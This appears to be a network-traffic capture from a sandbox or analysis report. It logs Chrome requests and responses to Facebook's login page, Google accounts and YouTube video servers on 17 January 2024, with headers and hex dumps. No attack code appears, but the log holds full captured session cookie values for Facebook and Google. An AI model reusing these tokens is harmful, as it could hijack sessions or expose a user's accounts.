2024-01-17 23:35:04 UTC	1214	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__dyn=7xe6E5aQ1PyUbFp61swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE7i0n24o5-0me2218w5uw5Uwdq0Ho2eU5O0PU1mUdEG0hi0Lo6-0iq0NE&__hs=19739.BP%3ADEFAULT.2.0..0.0&__hsi=7325214798112811389&__req=3&__rev=1010867501&__s=heq9de%3A1o93e2%3A35jhjl&__spin_b=trunk&__spin_r=1010867501&__spin_t=1705534476&__user=0&dpr=1&jazoest=21039&lsd=AVraRSlEjzk HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1276 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaX2msBp29B086G2p Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907; _js_datr=CmSoZS_e47taJeaFNDxl31-H; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM
2024-01-17 23:35:04 UTC	1276	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 61 58 32 6d 73 42 70 32 39 42 30 38 36 47 32 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 30 35 35 33 34 35 30 33 32 31 34 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 61 58 32 6d 73 42 70 32 39 42 30 38 36 47 32 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 70 6f 73 74 73 22 3a 22 33 77 6a 77 56 46 74 62 49 6d 5a 68 62 47 4e 76 4f 6e 64 6c 59 6c 39 69 62 48 56 6c 58 33 52 70 Data Ascii: ------WebKitFormBoundaryaX2msBp29B086G2pContent-Disposition: form-data; name="ts"1705534503214------WebKitFormBoundaryaX2msBp29B086G2pContent-Disposition: form-data; name="q"[{"app_id":"256281040558","posts":"3wjwVFtbImZhbGNvOndlYl9ibHVlX3Rp
2024-01-17 23:35:04 UTC	479	IN	HTTP/1.1 200 OK reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
2024-01-17 23:35:04 UTC	2504	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:04 UTC	513	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 58 2d 46 42 2d 44 65 62 75 67 2c 20 58 2d 4c 6f 61 64 65 72 2d 4c 65 6e 67 74 68 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 0d 0a 56 61 72 79 3a 20 4f 72 69 67 69 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 3b 20 70 72 Data Ascii: Access-Control-Expose-Headers: X-FB-Debug, X-Loader-LengthAccess-Control-Allow-Methods: OPTIONSAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://www.facebook.comVary: OriginStrict-Transport-Security: max-age=15552000; pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49925	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	1642	OUT	GET /_/bscframe HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/_/bscframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49927	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	770	OUT	GET /security/hsts-pixel.gif HTTP/1.1 Host: facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907; _js_datr=CmSoZS_e47taJeaFNDxl31-H; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM
2024-01-17 23:35:05 UTC	1780	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/gif reporting-endpoints: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com;font-src data: .gstatic.com .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com .tenor.co media.tenor.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net .giphy.com connect.facebook.net .carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com .whatsapp.net .fb.com .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com https://.giphy.com data:;frame-src .doubleclick.net .google.com .facebook.com www.googleadservices.com .fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=()
2024-01-17 23:35:05 UTC	1126	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f
2024-01-17 23:35:05 UTC	54	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49928	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	711	OUT	GET /data/manifest/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907; _js_datr=CmSoZS_e47taJeaFNDxl31-H; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM
2024-01-17 23:35:05 UTC	827	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: datr=CmSoZS_e47taJeaFNDxl31-H; expires=Thu, 20-Feb-2025 23:35:05 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: _js_datr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=-1705534504; path=/; domain=.facebook.com; httponly Content-Type: application/json reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
2024-01-17 23:35:05 UTC	1692	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:05 UTC	1084	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f
2024-01-17 23:35:05 UTC	897	IN	Data Raw: 34 61 66 0d 0a 7b 22 67 63 6d 5f 73 65 6e 64 65 72 5f 69 64 22 3a 22 31 35 30 35 37 38 31 34 33 35 34 22 2c 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 74 72 75 65 2c 22 65 64 67 65 5f 73 69 64 65 5f 70 61 6e 65 6c 22 3a 7b 22 70 72 65 66 65 72 72 65 64 5f 77 69 64 74 68 22 3a 33 37 36 7d 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 73 74 61 72 74 5f 75 72 6c 22 3a 22 5c 2f 3f 72 65 66 3d 68 6f 6d 65 73 63 72 65 65 6e 70 77 61 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6d 69 6e 69 6d 61 6c 2d 75 69 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 22 23 46 46 46 46 46 46 22 2c 22 74 68 65 6d 65 5f 63 6f 6c 6f 72 22 3a 22 23 31 38 37 Data Ascii: 4af{"gcm_sender_id":"15057814354","gcm_user_visible_only":true,"edge_side_panel":{"preferred_width":376},"short_name":"Facebook","name":"Facebook","start_url":"\/?ref=homescreenpwa","display":"minimal-ui","background_color":"#FFFFFF","theme_color":"#187
2024-01-17 23:35:05 UTC	314	IN	Data Raw: 64 75 6d 6d 79 22 2c 22 64 61 74 61 22 3a 22 5c 2f 64 75 6d 6d 79 2e 6a 73 6f 6e 22 2c 22 6d 73 5f 61 63 5f 74 65 6d 70 6c 61 74 65 22 3a 22 5c 2f 64 75 6d 6d 79 2e 6a 73 6f 6e 22 7d 5d 2c 22 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6b 61 74 61 6e 61 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6c 69 74 65 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6f 72 63 61 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 Data Ascii: dummy","data":"\/dummy.json","ms_ac_template":"\/dummy.json"}],"related_applications":[{"platform":"play","id":"com.facebook.katana"},{"platform":"play","id":"com.facebook.lite"},{"platform":"play","id":"com.facebook.orca"},{"platform":"play","id":"com.fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49930	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	1906	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:05 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:05 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49931	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	1914	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&ctier=L&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:05 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:05 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
